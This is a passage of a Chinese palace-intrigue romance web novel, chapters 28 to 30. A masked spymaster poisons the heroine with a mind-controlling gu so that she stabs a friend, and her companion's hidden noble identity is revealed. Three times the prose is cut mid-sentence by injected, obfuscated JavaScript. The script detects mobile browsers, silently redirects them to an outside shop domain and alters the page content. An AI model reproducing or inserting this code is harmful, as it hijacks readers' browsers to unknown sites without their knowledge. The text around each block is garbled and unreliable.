江画棠看着她这副窘迫又可爱的模样,眼底的笑意更深了。他故意收紧了手臂,将她抱得更紧了些,低沉的嗓音带着一丝戏谑,在她耳边缓缓响起:“怎么?这就害羞了?方才不是还挺大胆的吗?又是担心我,又是抱着我的胳膊不撒手。” 温热的气息拂过耳畔,带着酥麻的痒意,昭阳只觉得浑身的血液都往头顶涌去。她下意识地想要推开他,却被他牢牢禁锢在怀中,动弹不得。 “放开我……”昭阳的声音带着一丝不易察觉的颤抖,更多的是羞恼。 “放开你?”江画棠挑了挑眉,语气带着一丝玩味,“放开你,好让你拿着剪刀,继续‘防身’?还是说,你想再次尝试逃跑?” “我没有想逃跑!”昭阳急忙反驳,脸颊红得像熟透的苹果,“我只是……只是……”她只是什么,连她自己也说不清楚,整个人几乎被他突如其来的亲近弄得不知所措。 江画棠似乎看穿了她的心思,他低下头,面具几乎要碰到她的额头。虽然隔着冰冷的面具,昭阳却仿佛能感受到他目光的灼热。 “只是什么?”他追问着,声音低沉而富有磁性,带着一种蛊惑人心的力量。 昭阳的心跳更快了,她不敢与他对视,只能将目光投向别处。窗外的月光透过竹叶的缝隙洒进来,在地上投下斑驳的光影,也照亮了她微微颤抖的睫毛。 “只是觉得……这样不太合适。”昭阳小声嘟囔着,试图找回一丝理智。 “不合适?”江画棠低笑一声,指尖轻轻抬起她的下巴,迫使她看向自己,“哪里不合适了?你不是说日夜惦记着我吗?现在我就在你面前,你却告诉我不合适?” 他的话语像羽毛一样,轻轻搔刮着昭阳的心尖。她看着面具上那双深邃的眼睛,里面仿佛藏着一片浩瀚的星空,让她不由自主地产生怀疑,他如今这番做派,是出于真心,还是又在谋划着什么,想要引自己入局? “我……”昭阳的嘴唇动了动,却发现自己再次失语。想什么呢,这可是让人闻风丧胆的缉事厂总督,哪来的什么真心?昭阳不断告诫自己,千万不能被他的柔情攻势所欺骗。 江画棠看着她这副模样,心中涌起一股从未有过的柔软。他缓缓低下头,冰冷的面具轻轻蹭过她的脸颊,带来一阵奇异的触感。 “宋昭阳,”他轻声唤着她的名字,声音里带着一丝连他自己都未察觉的温柔,“别再想着逃跑了,无论你走多远,最终还是会回到我身边的,记住了吗?” 昭阳的心猛地一颤,抬起头,撞进他深邃的眼眸。在那片漆黑的瞳孔里,她看到了自己的倒影,也看到了一丝她从未见过的情绪。 是威胁?是命令?还是……别的什么?她张了张嘴,想要说些什么,却发现喉咙像是被什么东西堵住了一样,发不出任何声音。 江画棠看着她眼中的迷茫与动摇,心中一喜。他缓缓凑近,面具下的嘴唇似乎想要靠近她的唇。昭阳下意识地想要躲开,就在侧首的瞬间,发现了江画棠枕边的一副皮鞭。 刹那间,昭阳脑补出了几万字小剧场,之前看过的电视剧和小说里,太监们似乎都在某方面,有些特殊的癖好,江画棠他该不会也有这种难以启齿的爱好吧?但是此时此刻,他该不会是想…… 昭阳的目光触及那皮鞭的瞬间,只觉一股寒意顺着脊椎爬上来。这鞭子皮质油亮,鞭梢还带着细密的银线,一看就不是寻常家什。她脑中瞬间闪过那些话本里的香艳描写——权势滔天的宦官,总爱用些奇奇怪怪的刑具折磨人……联想到江画棠先前在暗室里的狠戾,她的脸“唰”地白了,手脚冰凉。 “你、你要干什么?”昭阳猛地从他怀里挣脱出来,连退三步撞到竹制书架,架上的青瓷瓶晃了晃,发出清脆的碰撞声。她攥着剪刀指向江画棠,声音都在发颤,“我警告你!我可是读过书的!你要是敢乱来,做一些不可描述的事情,我……我就……” “不可描述的事情?”江画棠被她这没由来的反应弄得有些糊涂了,一时之间没能理解对方话中的深意。不过,当他顺着她视线的方向望去,注意到她目光的焦点正落在自己身后那根皮鞭上时,心中顿时豁然开朗。原来她所指的“不可描述”,竟是这个意思,这让他不由得觉得有些好笑,又带着几分玩味。 “就怎样?”江画棠好整以暇地坐起身,月光透过竹窗落在他肩头,面具下的嘴角勾起一抹戏谑的弧度,“就用这把小剪刀戳我?还是学话本里的烈女,一头撞死在柱子上?”他慢悠悠地拿起那柄皮鞭,指尖在鞭身上轻轻摩挲。 “我……我可是会女子防身术的,你别乱来!”昭阳虽然看似信誓旦旦地摆出了防御的姿态,但那结结巴巴的语气,以及眼神中难以掩饰的慌乱,还是将她内心的不安与恐惧暴露无遗。 江画棠见此情景,反而更添了几分兴致,他一边饶有兴味地把玩着手中的皮鞭,一边不紧不慢地、带着一种猫捉老鼠般的戏谑,缓步朝昭阳逼近。“哦?防身术?那你可曾听说过,”他拖长了语调,声音里带着一丝危险的玩味,“前朝有位以手段酷烈闻名的李大人,他惯爱用些稀奇古怪的玩意儿折磨人取乐。他呀,就时常会去城西那家有名的珍宝斋,专门订购一些……” “住嘴!不许再说了!我和你拼了!”江画棠那令人毛骨悚然的话语,瞬间击溃了昭阳强撑的防线。她像是被踩了尾巴的猫,尖叫着打断他的话,作势就要朝江画棠猛冲过去。 然而,她这虚张声势的反抗显得如此无力,还没等她踉跄地走出两步,那只原本高举着剪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554059|204241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刀的手腕,就被江画棠轻而易举地钳制住,动弹不得。 “仔细瞧清楚了,这鞭子可不是用来……嗯,做你想的那些事的。”江画棠把鞭子放到昭阳眼前。 “那、那是用来做什么的?”昭阳警惕地盯着他的动作,后背紧紧贴住书架,连呼吸都放轻了。 江画棠低笑一声,将皮鞭放在膝头,声音里带着几分无奈:“这是我习武用的马鞭,前几日去西山马场驯马,顺手带回来,就扔在了这儿。你脑子里,都在想些什么乱七八糟的?”他顿了顿,目光落在她泛红的耳根上,语气愈发玩味,“还是说……你以前见过有人用这个做‘不可描述’的事?” “我才没有!”昭阳的脸瞬间红得能滴出血来,恨不得找个地缝钻进去。她怎么会想到那里去!一定是江画棠这人居心叵测,故意把鞭子放在床边引人遐想!她慌忙把剪刀藏到身后,结结巴巴地找补:“我只是觉得这鞭子看起来很危险……毕竟你是缉事厂的督主,我难免会多想……” “哦?缉事厂的督主在你眼里,就是喜欢用鞭子做‘不可描述’之事的人?”江画棠挑眉,缓缓站起身,一步步朝她逼近。他身形颀长,玄色衣袍在月光下泛着冷光,压迫感十足。 昭阳被他逼得连连后退,直到退无可退,后背抵在冰冷的墙壁上。她看着江画棠越来越近的脸,心跳得几乎要蹦出嗓子眼,只能胡乱点头:“是啊!你们这些当官的,不都喜欢用些酷刑吗?鞭笞、夹手指、烙铁……我在话本里都看过!” 江画棠停下脚步,低头看着她慌乱的模样,眼底的笑意更深了。他伸出手,轻轻拂开她额前的碎发,指尖的温度烫得她一颤:“话本里的东西,你也信?”他的声音低沉而温柔,“我承认,我手上沾过血,也用过刑,但那都是对罪有应得之人。至于你……”他顿了顿,目光落在她泛红的脸颊上,“自然不是用这些方法。” “谁信你的鬼话!你肯定是想骗我放下戒心,然后……然后……”她别开脸,不敢与他对视,嘴里却还在倔强地嘟囔,“总之你的话不可信……” 昭阳的话语尚未完全落下,屋外的回廊处便骤然响起锦衣卫急促而清晰的禀报声:“启禀督主,属下等人在缉事厂外围巡查时,发现一个形迹可疑之人,正在暗中窥探,现已将其拿下。” 江画棠闻言,原本平静的面容骤然覆上一层寒霜,眼神锐利如刀,声音里透出刺骨的冷意:“竟有如此不知死活之徒,敢在缉事厂外窥伺。可曾仔细盘问清楚?此人究竟是何来历,受谁指使?” 锦衣卫垂首恭谨回道:“据初步查问,此人自称是外乡来的的药材商人,姓陆。”这简短的“姓陆”二字,却像一道惊雷,猝然在昭阳耳边炸响。 她的心猛地一紧,外乡来的陆姓药商?这些信息立刻在她脑海中,串联出一个熟悉的名字,此人该不会是陆仁秉吧?种种不安的猜测与担忧顿时如潮水般涌上心头,若真是他,是不是意味着,苏无虞也很有可能,已经来到了京城? 28. 故人 西苑的月光总带着几分清寂,昭阳坐在窗边的妆台前,指尖无意识地摩挲着鬓边的银簪。自那日竹林闹剧后,她便被江画棠“请”回了这座精致的牢笼,只是这一次,看管她的侍卫多了一倍,连院门外那棵老槐树都被人修剪了枝桠,再无翻墙的可能。 她已经有整整五日没见过江画棠了,更别提陆仁秉。那日锦衣卫提及“姓陆的药商”时,她的心几乎要跳出胸腔——除了陆仁秉,还能有谁?可无论她如何旁敲侧击,华姨总是笑着打太极,连洒扫的小丫鬟都对“缉事厂抓人”的话题讳莫如深。 “姑娘,夜深了,该歇着了。”门外传来华姨的声音,带着一贯的温和。 昭阳掐灭烛火,借着月光走到门边,声音压得极低:“华姨,我……我想知道那个姓陆的药商怎么样了。他是我同乡,若是犯了什么错,我……” “姑娘放心,家主自有分寸。”华姨打断她的话,语气却冷了几分,“您只需安心养伤,其他的事不必多问。” 门被轻轻合上,留下昭阳一个人站在黑暗里,指甲深深掐进掌心。分寸?江画棠的分寸,就是把人拖进暗室折磨吗?她想起那日暗室里的血迹,想起陆仁秉憨厚的笑脸,一股寒意顺着脊椎爬上来。 不行,她必须去看看。 接下来的三日,昭阳装作安分守己的模样,每日坐在院中的石凳上晒太阳、编草筐,暗地里却仔细观察着侍卫换班的规律。终于在第四日的深夜,她趁着月色,撬开了窗棂的插销。 书房的暗门依旧藏在那幅远山图后,昭阳熟门熟路地按下书案边的机关,石壁缓缓分开,一股浓重的血腥味扑面而来。她捂住口鼻,借着从外间透进来的微光往里走,脚下踢到了什么软物—— 昭阳定睛一看,才发现那是一个躺在地上的活人! 那人蜷缩在石桌旁,浑身是血,粗布衣衫被鞭子抽得破烂不堪,他的发髻散乱,发丝也早已被汗水打湿,借着微弱的烛火望去,那张脸再熟悉不过。 “陆大哥,你醒醒!”昭阳颤抖着伸手,他的鼻息微弱得几乎感觉不到。她一时不知是喜是悲,但当务之急是赶快离开这里。于是昭阳咬咬牙,将陆仁秉的胳膊架在自己肩上,半拖半扶地往外走。 出乎意料的是,这一路竟异常顺利。院门外的侍卫不知去了何处,连平日里巡逻的锦衣卫都不见踪影。昭阳不敢多想,陆仁秉的伤势需要及时送医,她拼尽全力将陆仁秉背出宅邸,沿着墙根往城郊的方向跑。 夜风凛冽,吹得她单薄的衣衫猎猎作响。陆仁秉的血顺着她的衣襟往下淌,在青石板上留下蜿蜒的痕迹。跑到城外的无人小路时,昭阳再也支撑不住,双腿一软跪倒在地。 然而,屋漏偏逢连夜雨。就在这时,熟悉的头痛感再次袭来,且比以往任何一次都要猛烈。昭阳眼前的景物开始旋转,陆仁秉的脸在她模糊的视线里扭曲成诡异的形状,耳边仿佛有无数人在低语,那些声音尖锐而冰冷,像针一样扎进她的脑海—— “杀了他……” “他不是什么好人……” “只有他死了,你和苏无虞才会安全……” 昭阳抱着头痛苦地呻吟,手指在地上胡乱摸索,竟摸到了一柄冰冷的匕首。那是她逃跑时从侍卫腰间偷来的,此刻却像有了自己的意识,牵引着她的手,缓缓刺向陆仁秉的胸口。 “不……不要……”她拼命摇头,却控制不住身体的动作。匕首没入皮肉的声音在寂静的夜里格外清晰,陆仁秉猛地睁开眼,难以置信地看着她,嘴唇翕动了几下,最终无力地垂落,彻底晕死过去。 昭阳惊恐地松开手,匕首“哐当”一声掉在地上。她看着自己沾满鲜血的双手,又看看陆仁秉胸口不断涌出的血,整个人都在发抖。 “昭阳!”熟悉的声音自身后响起,带着震惊与不敢置信。昭阳猛地回头,只见苏无虞站在不远处的月光下,白衣染尘,此时正死死地盯着她。 这是什么地方?苏无虞怎么会在这里?他是真实存在的,还是自己因思念而产生的幻象?陆仁秉又为什么倒在血泊之中? 昭阳张了张嘴,想要解释,却发现自己发不出任何声音。头痛再次袭来,她的思维彻底混乱,昭阳本能地敲打着自己的头,甚至想要依靠碰撞来缓解蚀骨的疼痛,她用力地将头撞向地面,继而很快失去了意识,倒在了陆仁秉身边。 苏无虞见状,疯了一样冲过来,将她抱在怀里。她的脸色苍白如纸,嘴角却带着一丝诡异的微笑,仿佛做了什么美梦。而在她身边,陆仁秉旧伤未愈,再添新伤,此刻已是奄奄一息。 夜风卷起地上的落叶,发出呜咽般的声响。苏无虞看着怀中人事不省的昭阳,又看看重伤濒死的陆仁秉,心脏像是被一只无形的手紧紧攥住,痛得无法呼吸。 他终究还是来晚了一步。 而在京城的另一端,缉事厂的暗室里,江画棠正站在一幅巨大的舆图前,指尖轻轻敲击着“城郊”的位置。面具后的嘴角勾起一抹冰冷的笑意。 “游戏,才刚刚开始。”他转身看向身后的巫医,声音低沉如冰:“‘同心蛊’的效果不错。” 巫医躬身回道:“回督主,蛊虫已完全控制住那姑娘的神智。只需您一声令下,她便会对您言听计从。” 江画棠满意地点点头,目光投向窗外沉沉的夜色,“苏无虞,你最珍视的人,如今不过是我手中的一把刀。” 而此刻的苏无虞,让昏死过去的二人躺到自己褪下的外袍上,拖着他们艰难地在山中前行。原本今日,他按照约定前往客栈寻找陆仁秉,却被告知他已数日未归,苏无虞当下便有不祥的预感,没想到竟出了这样的事情。 此时此刻,苏无虞拖着两人在崎岖的山路上艰难前行,月光透过稀疏的枝叶洒下,照亮了他苍白而坚毅的脸庞。他的呼吸急促,额头上布满了汗珠,每一步都像是用尽了全身的力气。 陆仁秉的伤势很重,血还在不停地流,染红了苏无虞的白色长衫。而昭阳则像个破碎的娃娃,毫无生气地躺着,嘴角那丝诡异的微笑让苏无虞的心一阵阵刺痛。 他不知道昭阳到底发生了什么,为什么会变成这样。但他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555524|204241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道,自己必须尽快带他们离开这里,找到安全的地方。然而天不遂人愿,夜风如刀,卷着枯叶在山路上打着旋,一队人马出现在了他的面前,挡住去路。 苏无虞将昭阳和陆仁秉藏在一块巨大的岩石后,用枯枝败叶小心掩盖,这才握紧了腰间的短剑,转身迎向那些手持长刀的锦衣卫。 月光下,玄色官袍在风中猎猎作响,江画棠负手立于人马之前,鬼面具在清冷月色下泛着森然寒光。他身后的十二名锦衣卫如狼似虎,手按刀柄,目光死死锁定苏无虞,空气中弥漫着剑拔弩张的杀气。 “苏无虞?这个名字倒是取得不错,一世无虞,只不过,你配吗?”江画棠的声音透过面具传来,带着一丝玩味的冷笑,“罢了,裴三公子,我还是更习惯叫你,裴夙。” 这两个字如同一道惊雷,在寂静的山林中炸响。苏无虞浑身一震,握剑的手猛地收紧,指节泛白。他怎么会知道?这个秘密,他从未对任何人提起,连昭阳和陆仁秉都只知他叫苏无虞。 “你怎么会……”苏无虞的声音有些沙哑,眼中充满了震惊和不解,“果然,你从一开始,就是冲着裴家来的。” 江画棠低笑一声,缓缓踱步上前,每一步都像是踩在苏无虞的心上。“整个京城,还有什么事能瞒得过我缉事厂?”他顿了顿,语气变得冰冷,“裴相爷权倾朝野,党羽众多,漕运一案牵连甚广,你以为躲在乡野,就能置身事外?” “我父亲若真犯了国法,自有朝廷处置,我无话可说。”苏无虞挺直脊梁,目光坚定地迎向江画棠,“但我早已与裴家无关,这些年我过着什么样的日子,你应该也查得一清二楚。我只想带着昭阳和陆大哥离开这里,过平静的生活,为何你非要赶尽杀绝?” “赶尽杀绝?”江画棠像是听到了什么天大的笑话,仰头大笑起来,笑声中却充满了悲凉和愤怒,“你裴家享尽荣华富贵的时候,可曾想过那些被你们害得家破人亡的无辜百姓?你父亲倒台,你一句‘与我无关’就想置身事外?天下哪有这么便宜的事!” 他猛地向前一步,面具几乎要贴到苏无虞的脸上,声音低沉而狠戾:“我就是要让你尝尝,什么叫众叛亲离,什么叫一无所有!你不是最在乎那个叫昭阳的姑娘吗?你不是视那个姓陆的药商为兄弟吗?我就是要让他们,都成为你裴家罪孽的牺牲品!” “你到底想怎样?”苏无虞的声音带着一丝颤抖,不是因为害怕,而是因为愤怒和不解,“冲着我来就是!不要牵连无辜!” “怎么?想保护他们?”江画棠的声音陡然拔高,每一个字都像是从牙缝里挤出来,带着刺骨的寒意和无法掩饰的怒火,在空旷的山野间回荡。他的眼神死死锁定在苏无虞身上,那双平日里深不见底的眸子此刻燃烧着阴狠的火焰,瞳孔收缩如针尖,透出嗜血般的威胁,仿佛要将对方生吞活剥。 苏无虞不知自己是哪里触怒了他,江画棠此刻言语中的愤怒,不像是一时冲动,而是积压已久的怨恨在这一刻爆发。 裴家,究竟做了什么事情,才让他如此恨之入骨? 29. 重逢 山风骤然卷起江画棠的衣摆,他缓缓抬手,身后的锦衣卫立刻齐齐上前一步,刀鞘碰撞的脆响在林间炸开,惊起一群夜鸟扑棱着翅膀消失在黑暗里。苏无虞握紧短剑,指尖因为用力而泛出青白,后背已经被冷汗浸湿,他死死盯着江画棠,做好了拼死一战的准备。 就在刀光即将亮起的刹那,岩石后忽然传来一声微弱的呻吟,是昭阳醒了。 “无虞……是你吗?”她的声音含糊不清,带着刚从昏迷中醒转的迷茫,顺着山风飘进两人耳中。江画棠忽然敛了周身的戾气,勾着唇退后半步,做出一个“请”的手势,笑意冰冷:“你看,你的心上人醒了,不如去问问她,刚才她刺向陆仁秉的时候,在想什么?” “你怎么会知道?!”苏无虞心头一紧,不再理会江画棠,转身快步走向岩石后。拨开厚厚的枯枝,就见昭阳撑着地面慢慢坐起身,额头上还沾着泥土,眼神空洞地望着前方,听到脚步声才缓缓转过头,看清来人是苏无虞时,涣散的目光骤然凝聚,露出震惊又痛苦的神色。 “你……你真的在这里?”她猛地抬手,又缩了回去,看着自己依旧沾着血渍的指尖,嘴唇颤抖得厉害,“那一刀……不是我刺的,真的不是我,我控制不住我自己……” “陆大哥呢?他怎么……怎么还没醒过来?”昭阳的目光不由自主地转向身侧,看到陆仁秉此刻仍在昏迷中他,紧闭着双眼,脸色苍白如纸,呼吸微弱得几乎难以察觉。更让她心头猛然一紧的是,他那件原本素净的衣衫上,竟沾染了大片大片刺目的鲜血,那鲜红的颜色在昏暗的光线下显得格外狰狞,仿佛在无声地诉说着方才那场惊心动魄的搏斗与惨烈的伤势。 这一幕如同最锋利的刀刃,狠狠刺入了昭阳的心底,她只觉得一股无法抑制的恐惧与绝望瞬间涌上心头,这么多时日以来苦苦支撑的坚强与冷静,在这触目惊心的现实面前,竟如同脆弱的琉璃一般,在顷刻间彻底崩溃、粉碎。 苏无虞蹲下身,轻轻握住她冰凉的手,声音沙哑却异常坚定:“我知道,不是你。” 昭阳猛地怔住,眼泪瞬间夺眶而出,这些天的恐惧、惊惶、自责在这一刻尽数爆发,她扑进苏无虞怀里,死死攥着他的衣襟,哭得浑身发抖:“我以为……我以为你不会信我,我杀了陆大哥,我……” “他还活着,只是重伤晕了过去,我们先救他。”苏无虞轻轻拍着她的背,话音刚落,就听见江画棠慢悠悠的声音从身后传来:“想救他?可以啊,只要你束手就擒,跟我回缉事厂,我就命人给他疗伤,放你们二人离开,如何?” 昭阳猛地从苏无虞怀里抬起头,眼中瞬间充满戒备,她扶着岩石慢慢站起身,挡在苏无虞身前,对着江画棠怒声道:“江画棠,你别太过分!一切都是你的阴谋,是你故意放我离开的,对不对?你到底对我做了什么,为什么我总是会莫名其妙地头疼,甚至还……” “甚至控制不住自己的手伤人?”江画棠笑了起来,面具下的声音黏腻又阴冷:“我不过是给你种了只小小的同心蛊罢了,你的命现在拴在我手里,我让你做什么,你就得做什么。方才刺陆仁秉那一刀,你不也没能忍住吗?谁知道下一次,你会不会对着你身边这位裴三公子动手呢?” 裴三公子?昭阳浑身一震,还来不及多思考关于苏无虞的身份,江画棠的这番话,让她下意识后退半步看向苏无虞,眼神里满是惊恐,她连忙抬手捂住自己的手腕,生怕下一秒这双手就会不听使唤,伤到苏无虞。 “你妄想用我来威胁他,我宁可死,也不会让你得逞!”说着,昭阳猛地抬手就朝着自己的脖颈探去,想要自行了断,说不定这一刀子下去,自己也就回到了原来的时空,也好过留在这里,变成江画棠的傀儡,让双手沾满血。 只不过,苏无虞眼疾手快一把拉住昭阳,将她护在身后,他抬头看向江画棠,目光冷得像冰:“有什么冲着我来,放她走,今日我跟你回缉事厂,你放她和陆仁秉离开。” 江画棠嘴角勾起一抹冷冽的弧度,发出不屑的轻哼。然而,就在双方剑拔弩张、僵持不下之际,一只扑棱着翅膀的信鸽骤然飞至,打破了场上凝重的气氛。江画棠抬手取下系在鸽腿上的细小信笺,展开阅读后,神情瞬间变得严肃而凝重,眉宇间笼罩上一层阴霾。 静默片刻,他缓缓抬起手臂,向身后的锦衣卫做了一个撤退的手势。“今日算你侥幸,气数未尽。既然如今已踏入京城地界,来日方长,本督主自有大把时光,慢慢与你周旋较量。”他语带寒意,一字一句地说道。 转身离开之际,江画棠的脚步微顿,不忘回首望向昭阳,“宋昭阳,别忘了我和你说过的话,无论你走多远,最终还是会回到我身边的。” 直到那些锦衣卫的身影,彻底消失在黑暗里,精神一直处于高度紧张的昭阳,这才仿佛被抽走了所有力气般,浑身瘫软下来。她脚下虚浮,所幸一旁始终留意着她的苏无虞及时伸手稳稳扶住,她才不至于狼狈地跌倒在地。 “他们……真的走了吗?”昭阳的声音带着一丝不易察觉的颤抖,言语之中仍充满了劫后余生的不确定与深深的不安,目光还下意识地向那片黑暗投去,仿佛担心那些如影随形的威胁会去而复返。 “放心吧,”苏无虞轻轻拍了拍她的手臂,语气里也带着一种如释重负的松弛感,他看起来似乎知道一些不为人知的内情,“如今那位江画棠大人,正遇到了一点不小的麻烦,焦头烂额,短时间里恐怕是无暇分心来管我们了。”他顿了顿,嘴角似乎掠过一丝了然,补充道,“若我所料不差,此时此刻,辑事厂的兵器库,应当已是火光冲天了。” 昭阳带着满心的惊疑与困惑,将目光投向身旁的苏无虞。方才听闻辑事厂兵器库遭人纵火焚毁的消息,如此胆大包天、周密果决的行事,难道真的会是眼前这个看似温润柔弱的少年所为? 昭阳心中不禁泛起阵阵波澜,他仔细打量着苏无虞,试图从对方平静的眉宇间寻得一丝端倪。这般翻手为云、覆手为雨的手段,与她记忆中那个在乡间养病、时常咳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17566486|204241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗽、身形单薄的少年形象,实在形成了太过鲜明的对比。这巨大的反差让昭不得不重新审视面前的苏无虞——他究竟是谁?背后又隐藏着怎样不为人知的过往与秘密? 裴三公子……莫非就是那位在朝堂之上权势煊赫的当朝丞相裴自成的子嗣?若他当真出身于如此的权贵之家,为何要刻意掩藏自己的真实身份?甚至连自己的真实名姓都不愿轻易示人,这其中究竟有何深意?昭阳越想越觉得疑窦丛生,眼前人的身影,仿佛笼罩在一层浓重而神秘的迷雾之中。 昭阳完全不记得自己后来究竟是如何从那地方离开的,脑海中只残存着一段漫长到仿佛没有尽头的行走记忆——她走了很远很远的路,远得几乎让她快要忘记自己从何而来、为何而去,远得连时间都似乎被拉长、被稀释,只剩下脚步在无尽的道路上重复着向前。 再次醒来时,已是次日晌午时分。在意识尚未完全清醒的迷蒙混沌之中,她便隐约听见有人正轻柔地呼唤着自己的名字,那声音仿佛从遥远的地方传来,带着一丝关切与暖意。 紧接着,便有清冽甘甜的泉水缓缓流入口中,那温润的液体不仅滋润了她干渴已久的唇舌与喉咙,更仿佛一股清泉,悄然渗入她这些时日以来因疲惫困顿而几乎快要干涸的心田,带来了一丝久违的生机与慰藉。 “昭阳,好些了吗?”苏无虞的声音轻柔地传来,那声音里带着一丝疲惫,也含着满满的关切。待到昭阳缓缓睁开眼,便见一张略有些憔悴的脸庞近在咫尺,此刻正深深地、关切地凝视着自己,那双眼中盛满了担忧与疼惜。 不过是短短数月未见,却仿佛已相隔了千百年之久,时光在他们之间悄然划下了深深的痕迹。他的发髻有些松散,几缕碎发不经意地垂落额前,眼下的乌青浓重得像是许久未曾安眠,而唇边与下颌处稍有冒出的胡茬,更是无声地昭示着这段时日以来,苏无虞不辞辛劳的奔波与煎熬。 “无虞……”昭阳刚想开口,话语却在嘴边顿了顿,仿佛忽然忆起了什么,她轻轻摇了摇头,嘴角露出一丝若有若无的苦笑,“哦不,现在该叫你裴三公子才是,是我一时疏忽,忘了如今的身份已不同往昔。” 苏无虞原本望向昭阳的温和目光,在听到“裴三公子”这四个字时,仿佛被什么无形的东西刺了一下,眼神逐渐黯淡了下来,像是蒙上了一层薄薄的雾霭。他沉默地垂下眼眸,避开昭阳的视线,手中却不由自主地紧紧握住了方才喂她喝水的那只白瓷杯,指尖因为用力而微微发白,仿佛要借此稳住心头那一瞬涌起的纷乱与黯然。 “对不起,我不该瞒着你,这件事从一开始我就该向你坦白。”他的声音微微发颤,仿佛压抑着千百种难以言说的委屈与愧疚。 看着他这副神情,昭阳一时也有些糊涂了,心中不禁泛起一丝困惑与茫然。眼前的苏无虞低垂着眼帘,嘴唇轻抿,那副模样竟显得格外脆弱而无助,倒像是自己做了什么过分的事,欺负了他似的。这突如其来的场面让昭阳有些无措,不知该如何回应才好。 30. 过往 这一次,昭阳本身没有受到外伤,因此在苏醒之后不久,她便立刻全身心地投入到照顾陆仁秉的任务中。值得庆幸的是,刺中陆仁秉的那一刀并未触及要害部位,然而由于失血过多,再加上之前在暗室中所遭受的种种折磨,陆仁秉的身体恢复进程显得异常缓慢。 此时此刻,昭阳坐在寝屋之中,心中依旧萦绕着一股挥之不去的恍惚与不真实感。眼前这座宅院,虽不及江画棠的府邸那般金碧辉煌、雕梁画栋,却也因地处京城繁华之地,加之园中精心布置的亭台楼阁、奇石异卉,处处透露出一种内敛的奢华与深厚的底蕴,足以窥见当朝裴相爷家资之丰厚,地位之显赫。 然而,正是在这样一方彰显着富贵与权势的天地里,那位身为裴府三公子的苏无虞,却显得如此突兀,仿佛一颗未经雕琢的璞玉误入了珠光宝气的殿堂,与周遭的一切都格格不入。这些日子以来,苏无虞依旧是一身朴素无华的旧布袍,举止言行间未有半分世家公子的骄矜之气,反倒带着一种超然物外的淡泊与宁静。 若非事实摆在眼前,昭阳无论如何也难以相信,这样一个宛如山间清泉般的少年,竟会出身于如此显赫的官宦门第。这种强烈的反差,如同平静湖面投下的石子,在她心中激起层层涟漪,让她对苏无虞的身世与经历充满了不解与好奇。 “昭阳,你去歇一会吧,陆大哥这边有我照看着。”苏无虞轻声说道,语气里带着几分安抚,也藏着些许难以言说的疏离。算算日子,从陆仁秉受伤昏迷至今,已经整整三天了。这三天里,昭阳与苏无虞之间,仿佛隔了一层看不见的薄纱,相处时的气氛变得格外微妙而紧绷。 两人似乎陷入了一种无声的冷战,或者说,是一种不知如何打破的僵局。昭阳起初,的确是有些气恼,气他隐瞒了真实身份,将自己蒙在鼓里。可独自静下心来细细思量之后,那股怨气渐渐淡了,取而代之的,是更深沉、更无处安放的忧虑。如今,他们二人的身份已是云泥之别,一道无形的鸿沟横亘在中间。更何况,自己身中江画棠的蛊毒,前途未卜,生死难料。每每思及此处,千头万绪涌上心头,她实在不知道,该以怎样的姿态、怎样的心情去面对眼前这个既熟悉又陌生的苏无虞。 至于苏无虞……她偷偷望了一眼他沉静的侧脸,心中一片迷茫。她真的不知道,他究竟是怎么想的。这漫长的三天以来,除了日常起居的简短交代之外,苏无虞再也没有主动与她多说过什么。那份刻意的沉默,比任何言语都更让她感到无措和心慌。 苏无虞像是察觉到她的目光,微微转过脸来,目光恰好撞进昭阳怔愣的视线里,两人都顿了一下,昭阳先反应过来,连忙有些窘迫地移开眼,指尖不自觉绞着衣摆,半天抿出一句:“我不困,还是我在这里守着吧,你这几天也没好好合过眼。” 话音落下,屋内又陷入诡异的安静,只有陆仁秉浅淡微弱的呼吸声,在不大的屋子里缓缓荡开。 不知过了多久,苏无虞忽然轻轻叹了口气,拉过一把椅子在昭阳身边坐下,声音低低的:“你想问什么,就问吧,我都告诉你。” 昭阳微微侧过头,目光轻轻落在身旁的人身上。这些日子以来,他仿佛又清减了几分,身形在光影中显得愈发单薄,明明还是少年人的轮廓,可那双眼睛里却沉淀着与年龄不符的倦意,像是藏着许多未曾言说的重负。“我没什么想问的。”昭阳移开视线,语气平静无波,声音里听不出什么情绪。 然而,就是这样简单而淡然的一句回应,却像一根细而锋利的针,猝不及防地刺入了苏无虞心底最柔软也最疼痛的地方。他整个人微微一震,随即抬起眼,目光中充满了愕然与难以言喻的震动,就那样直直地望向昭阳,仿佛想从她平静的面容上寻找一丝裂痕,或是确认自己是否听错。 